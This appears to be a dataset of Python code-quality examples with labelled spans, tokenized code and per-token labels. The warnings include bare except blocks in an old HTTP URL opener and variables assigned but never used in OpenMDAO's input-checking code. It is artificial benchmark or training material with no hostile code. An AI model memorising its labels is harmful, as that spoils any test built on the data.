"1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "5_", ",_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "AS", "tar_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "goi", "ng", "\\u", "aro", "und", "\\u", "wall_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "tha", "t", " ", "path", " ", "can", " ", "be", " ", "found", " ", "aro", "und", " ", "a", " ", "wall", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "level_", "=_", "(_", "Leve", "l", "Builder_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "floor", "\\u", "tile_", "(_", "FLO", "OR", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "tile_", "(_", "EMP", "TY", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "solid", "\\u", "wall", "\\u", "tile_", "(_", "WALL", "\\u", "TILE", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "at_", "(_", "(_", "12_", ",_", "8_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "at_", "(_", "(_", "12_", ",_", "9_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "at_", "(_", "(_", "12_", ",_", "10_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "at_", "(_", "(_", "12_", ",_", "11_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "wall", "\\u", "at_", "(_", "(_", "12_", ",_", "12_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "with", "\\u", "size_", "(_", "(_", "20_", ",_", "20_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "build_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "path_", ",_", "connections_", ",_", "updated_", "=_", "a", "\\u", "star_", "(_", "start_", "=_", "(_", "10_", ",_", "10_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "goal_", "=_", "(_", "15_", ",_", "10_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "a", "\\u", "map_", "=_", "level_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "adjacent", "\\u", "nodes_", "=_", "free", "\\u", "location", "s", "\\u", "around_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "that_", "(_", "path_", ",_", "is\\u_", "(_", "continuous", "\\u", "path_", "(_", "start_", "=_", "(_", "10_", ",_", "10_", ")_", ",_", "\\u\\u\\uNL\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ado/zurllib.py
[ { "content": " def connect(self):\n HTTPConnection.connect(self)\n try:\n self.sock.settimeout(30)\n except:\n pass", "metadata": "root.btHTTPcon.connect", "header": "['class', 'btHTTPcon', '(', 'HTTPConnection', ')', ':', '# attempt to add automatic connection timeout', '___EOS___']", "index": 17 }, { "content": " def connect(self):\n HTTPSConnection.connect(self)\n try:\n self.sock.settimeout(30)\n except:\n pass ", "metadata": "root.btHTTPScon.connect", "header": "['class', 'btHTTPScon', '(', 'HTTPSConnection', ')', ':', '# attempt to add automatic connection timeout', '___EOS___']", "index": 25 }, { "content": " def _open(self, url):\n self.tries += 1\n if self.tries > MAX_REDIRECTS:\n raise IOError, ('http error', 500,\n \"Internal Server Error: Redirect Recursion\")\n (scheme, netloc, path, pars, query, fragment) = urlparse(url)\n if scheme != 'http' and scheme != 'https':\n raise IOError, ('url error', 'unknown url type', scheme, url)\n url = path\n if pars:\n url += ';'+pars\n if query:\n url += '?'+query\n# if fragment:\n try:\n if scheme == 'http':\n self.connection = btHTTPcon(netloc)\n else:\n self.connection = btHTTPScon(netloc)\n self.connection.request('GET', url, None,\n { 'User-Agent': VERSION,\n 'Accept-Encoding': 'gzip' } )\n self.response = self.connection.getresponse()\n except HTTPException, e:\n raise IOError, ('http error', str(e))\n status = self.response.status\n if status in (301,302):\n try:\n self.connection.close()\n except:\n pass\n self._open(self.response.getheader('Location'))\n return\n if status != 200:\n try:\n data = self._read()\n d = bdecode(data)\n if d.has_key('failure reason'):\n self.error_return = data\n return\n except:\n pass\n raise IOError, ('http error', status, self.response.reason)", "metadata": "root.urlopen._open", "header": "['class', 'urlopen', ':', '___EOS___']", "index": 38 } ]
[ { "span": "except:", "start_line": 21, "start_column": 8, "end_line": 21, "end_column": 15 }, { "span": "except:", "start_line": 29, "start_column": 8, "end_line": 29, "end_column": 15 }, { "span": "except:", "start_line": 67, "start_column": 12, "end_line": 67, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "bt", "HTTP", "con_", "(_", "HTTP", "Connection_", ")_", ":_", "#", " ", "atte", "mpt", " ", "to", " ", "add", " ", "automati", "c", " ", "connecti", "on", " ", "timeout_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "connect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HTTP", "Connection_", "._", "connect_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "settimeout_", "(_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "bt", "HTTP", "Sco", "n_", "(_", "HTTP", "SC", "onnect", "ion_", ")_", ":_", "#", " ", "atte", "mpt", " ", "to", " ", "add", " ", "automati", "c", " ", "connecti", "on", " ", "timeout_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "connect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "HTTP", "SC", "onnect", "ion_", "._", "connect_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "settimeout_", "(_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "urlopen_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "open_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tries_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "tries_", ">_", "MAX", "\\u", "REDIRECT", "S_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", ",_", "(_", "'", "http", " ", "error", "'_", ",_", "500_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Intern", "al", " ", "Server", " ", "Error", ":", " ", "Redirect", " ", "Recurs", "ion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "(_", "scheme_", ",_", "netloc_", ",_", "path_", ",_", "pars_", ",_", "query_", ",_", "fragment_", ")_", "=_", "urlparse_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "scheme_", "!=_", "'", "http", "'_", "and_", "scheme_", "!=_", "'", "https", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", ",_", "(_", "'", "url", " ", "error", "'_", ",_", "'", "unknown", " ", "url", " ", "type", "'_", ",_", "scheme_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "+=_", "';'_", "+_", "pars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "+=_", "'?'_", "+_", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "fragment", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "scheme_", "==_", "'", "http", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connection_", "=_", "bt", "HTTP", "con_", "(_", "netloc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connection_", "=_", "bt", "HTTP", "Sco", "n_", "(_", "netloc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connection_", "._", "request_", "(_", "'", "GET", "'_", ",_", "url_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "User", "-", "Agent", "'_", ":_", "VERSION_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Accept", "-", "Enco", "ding", "'_", ":_", "'", "gzip", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "response_", "=_", "self_", "._", "connection_", "._", "getresponse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "HTTP", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", ",_", "(_", "'", "http", " ", "error", "'_", ",_", "str_", "(_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "status_", "=_", "self_", "._", "response_", "._", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "status_", "in_", "(_", "301_", ",_", "302_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connection_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "open_", "(_", "self_", "._", "response_", "._", "getheader_", "(_", "'", "Locat", "ion", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "status_", "!=_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "\\u", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "bde", "code_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "d_", "._", "has", "\\u", "key_", "(_", "'", "fail", "ure", " ", "reason", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "error", "\\u", "return_", "=_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "IO", "Error_", ",_", "(_", "'", "http", " ", "error", "'_", ",_", "status_", ",_", "self_", "._", "response_", "._", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
OpenMDAO/OpenMDAO/openmdao/core/problem.py
[ { "content": " def _check_input_diffs(self, connections, params_dict, unknowns_dict):\n \"\"\"For all sets of connected inputs, find any differences in units\n or initial value.\n \"\"\"\n # loop over all dangling inputs\n for tgt, connected_inputs in iteritems(self._input_inputs):\n\n # figure out if any connected inputs have different initial\n # values or different units\n tgt_idx = connected_inputs.index(tgt)\n units = [params_dict[n].get('units') for n in connected_inputs]\n vals = [params_dict[n]['val'] for n in connected_inputs]\n\n diff_units = []\n\n for i, u in enumerate(units):\n if i != tgt_idx and u != units[tgt_idx]:\n if units[tgt_idx] is None:\n sname, s = connected_inputs[i], u\n tname, t = connected_inputs[tgt_idx], units[tgt_idx]\n else:\n sname, s = connected_inputs[tgt_idx], units[tgt_idx]\n tname, t = connected_inputs[i], u\n\n diff_units.append((connected_inputs[i], u))\n\n if isinstance(vals[tgt_idx], np.ndarray):\n diff_vals = [(connected_inputs[i],v) for i,v in\n enumerate(vals) if not\n (isinstance(v, np.ndarray) and\n v.shape==vals[tgt_idx].shape and\n (v==vals[tgt_idx]).all())]\n else:\n vtype = type(vals[tgt_idx])\n diff_vals = [(connected_inputs[i],v) for i,v in\n enumerate(vals) if vtype!=type(v) or\n v!=vals[tgt_idx]]\n\n # if tgt has no unknown source, units MUST match, unless\n # one of them is None. At this point, connections contains\n # only unknown to input connections, so if the target is\n # in connections, it has an unknown source.\n\n if diff_units:\n filt = set([u for n,u in diff_units])\n if None in filt:\n filt.remove(None)\n if filt:\n proms = set([params_dict[item]['top_promoted_name'] \\\n for item in connected_inputs])\n\n # All params are promoted, so extra message for clarity.\n if len(proms) == 1:\n msg = \"The following connected inputs are promoted to \" + \\\n \"'%s', but have different units\" % proms.pop()\n else:\n msg = \"The following connected inputs have no source and different \" + \\\n \"units\"\n\n msg += \": %s.\" % sorted([(tgt, params_dict[tgt].get('units'))] + \\\n diff_units)\n correct_src = params_dict[connected_inputs[0]]['top_promoted_name']\n msg += \" Connect '%s' to a source (such as an IndepVarComp)\" % correct_src + \\\n \" with defined units.\"\n\n self._setup_errors.append(msg)\n if diff_vals:\n msg = (\"The following sourceless connected inputs have \"\n \"different initial values: \"\n \"%s. Connect one of them to the output of \"\n \"an IndepVarComp to ensure that they have the \"\n \"same initial value.\" %\n (sorted([(tgt,params_dict[tgt]['val'])]+\n diff_vals)))\n self._setup_errors.append(msg)\n\n # now check for differences in step_size, step_type, or form for\n # promoted inputs\n for promname, absnames in iteritems(self.root._sysdata.to_abs_pnames):\n if len(absnames) > 1:\n step_sizes, step_types, forms = {}, {}, {}\n for name in absnames:\n meta = self.root._params_dict[name]\n ss = meta.get('step_size')\n if ss is not None:\n step_sizes[ss] = name\n st = meta.get('step_type')\n if st is not None:\n step_types[st] = name\n f = meta.get('form')\n if f is not None:\n forms[f] = name\n\n if len(step_sizes) > 1:\n self._setup_errors.append(\"The following parameters have the same \"\n \"promoted name, '%s', but different \"\n \"'step_size' values: %s\" % (promname,\n sorted([(v,k) for k,v in step_sizes.items()])))\n\n if len(step_types) > 1:\n self._setup_errors.append(\"The following parameters have the same \"\n \"promoted name, '%s', but different \"\n \"'step_type' values: %s\" % (promname,\n sorted([(v,k) for k,v in step_types.items()])))\n\n if len(forms) > 1:\n self._setup_errors.append(\"The following parameters have the same \"\n \"promoted name, '%s', but different 'form' \"\n \"values: %s\" % (promname,\n sorted([(v,k) for k,v in forms.items()])))", "metadata": "root.Problem._check_input_diffs", "header": "['class', 'Problem', '(', 'object', ')', ':', '___EOS___']", "index": 269 } ]
[ { "span": "sname,", "start_line": 287, "start_column": 24, "end_line": 287, "end_column": 29 }, { "span": "s ", "start_line": 287, "start_column": 31, "end_line": 287, "end_column": 32 }, { "span": "tname,", "start_line": 288, "start_column": 24, "end_line": 288, "end_column": 29 }, { "span": "t ", "start_line": 288, "start_column": 31, "end_line": 288, "end_column": 32 }, { "span": "sname,", "start_line": 290, "start_column": 24, "end_line": 290, "end_column": 29 }, { "span": "s ", "start_line": 290, "start_column": 31, "end_line": 290, "end_column": 32 }, { "span": "tname,", "start_line": 291, "start_column": 24, "end_line": 291, "end_column": 29 }, { "span": "t ", "start_line": 291, "start_column": 31, "end_line": 291, "end_column": 32 } ]
[]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Problem_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "input", "\\u", "diffs_", "(_", "self_", ",_", "connections_", ",_", "params", "\\u", "dict_", ",_", "unknown", "s", "\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "all", " ", "sets", " ", "of", " ", "connect", "ed", " ", "inputs", ",", " ", "find", " ", "any", " ", "difference", "s", " ", "in", " ", "unit", "s", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "initial", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "loop", " ", "over", " ", "all", " ", "dan", "glin", "g", " ", "inputs_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "tgt_", ",_", "connect", "ed", "\\u", "inputs_", "in_", "iteritems_", "(_", "self_", "._", "\\u", "input", "\\u", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "figure", " ", "out", " ", "if", " ", "any", " ", "connect", "ed", " ", "inputs", " ", "have", " ", "different", " ", "initial_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "values", " ", "or", " ", "different", " ", "units_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tgt", "\\u", "idx_", "=_", "connect", "ed", "\\u", "inputs_", "._", "index_", "(_", "tgt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "units_", "=_", "[_", "params", "\\u", "dict_", "[_", "n_", "]_", "._", "get_", "(_", "'", "unit", "s", "'_", ")_", "for_", "n_", "in_", "connect", "ed", "\\u", "inputs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vals_", "=_", "[_", "params", "\\u", "dict_", "[_", "n_", "]_", "[_", "'", "val", "'_", "]_", "for_", "n_", "in_", "connect", "ed", "\\u", "inputs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "diff", "\\u", "units_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "u_", "in_", "enumerate_", "(_", "units_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "!=_", "tgt", "\\u", "idx_", "and_", "u_", "!=_", "units_", "[_", "tgt", "\\u", "idx_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "units_", "[_", "tgt", "\\u", "idx_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sname_", ",_", "s_", "=_", "connect", "ed", "\\u", "inputs_", "[_", "i_", "]_", ",_", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tname_", ",_", "t_", "=_", "connect", "ed", "\\u", "inputs_", "[_", "tgt", "\\u", "idx_", "]_", ",_", "units_", "[_", "tgt", "\\u", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sname_", ",_", "s_", "=_", "connect", "ed", "\\u", "inputs_", "[_", "tgt", "\\u", "idx_", "]_", ",_", "units_", "[_", "tgt", "\\u", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tname_", ",_", "t_", "=_", "connect", "ed", "\\u", "inputs_", "[_", "i_", "]_", ",_", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "diff", "\\u", "units_", "._", "append_", "(_", "(_", "connect", "ed", "\\u", "inputs_", "[_", "i_", "]_", ",_", "u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "vals_", "[_", "tgt", "\\u", "idx_", "]_", ",_", "np_", "._", "ndarray_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "diff", "\\u", "vals_", "=_", "[_", "(_", "connect", "ed", "\\u", "inputs_", "[_", "i_", "]_", ",_", "v_", ")_", "for_", "i_", ",_", "v_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "enumerate_", "(_", "vals_", ")_", "if_", "not_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "isinstance_", "(_", "v_", ",_", "np_", "._", "ndarray_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "._", "shape_", "==_", "vals_", "[_", "tgt", "\\u", "idx_", "]_", "._", "shape_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "v_", "==_", "vals_", "[_", "tgt", "\\u", "idx_", "]_", ")_", "._", "all_", "(_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vtype_", "=_", "type_", "(_", "vals_", "[_", "tgt", "\\u", "idx_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff", "\\u", "vals_", "=_", "[_", "(_", "connect", "ed", "\\u", "inputs_", "[_", "i_", "]_", ",_", "v_", ")_", "for_", "i_", ",_", "v_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "enumerate_", "(_", "vals_", ")_", "if_", "vtype_", "!=_", "type_", "(_", "v_", ")_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "!=_", "vals_", "[_", "tgt", "\\u", "idx_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "tgt", " ", "has", " ", "no", " ", "unknown", " ", "source", ",", " ", "unit", "s", " ", "MUS", "T", " ", "match", ",", " ", "unl", "ess_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "one", " ", "of", " ", "them", " ", "is", " ", "Non", "e", ".", " ", "At", " ", "this", " ", "point", ",", " ", "connections", " ", "contains_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "only", " ", "unknown", " ", "to", " ", "input", " ", "connections", ",", " ", "so", " ", "if", " ", "the", " ", "target", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "connections", ",", " ", "it", " ", "has", " ", "an", " ", "unknown", " ", "source", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "diff", "\\u", "units_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filt_", "=_", "set_", "(_", "[_", "u_", "for_", "n_", ",_", "u_", "in_", "diff", "\\u", "units_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "None_", "in_", "filt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "filt_", "._", "remove_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "filt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "prom", "s_", "=_", "set_", "(_", "[_", "params", "\\u", "dict_", "[_", "item_", "]_", "[_", "'", "top", "\\u", "promote", "d\\u", "name", "'_", "]_", "for_", "item_", "in_", "connect", "ed", "\\u", "inputs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "params", " ", "are", " ", "promote", "d", ",", " ", "so", " ", "extra", " ", "message", " ", "for", " ", "clari", "ty", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "prom", "s_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "msg_", "=_", "\"", "The", " ", "follow", "ing", " ", "connect", "ed", " ", "inputs", " ", "are", " ", "promote", "d", " ", "to", " ", "\"_", "+_", "\"'", "%", "s", "',", " ", "but", " ", "have", " ", "different", " ", "unit", "s", "\"_", "%_", "prom", "s_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 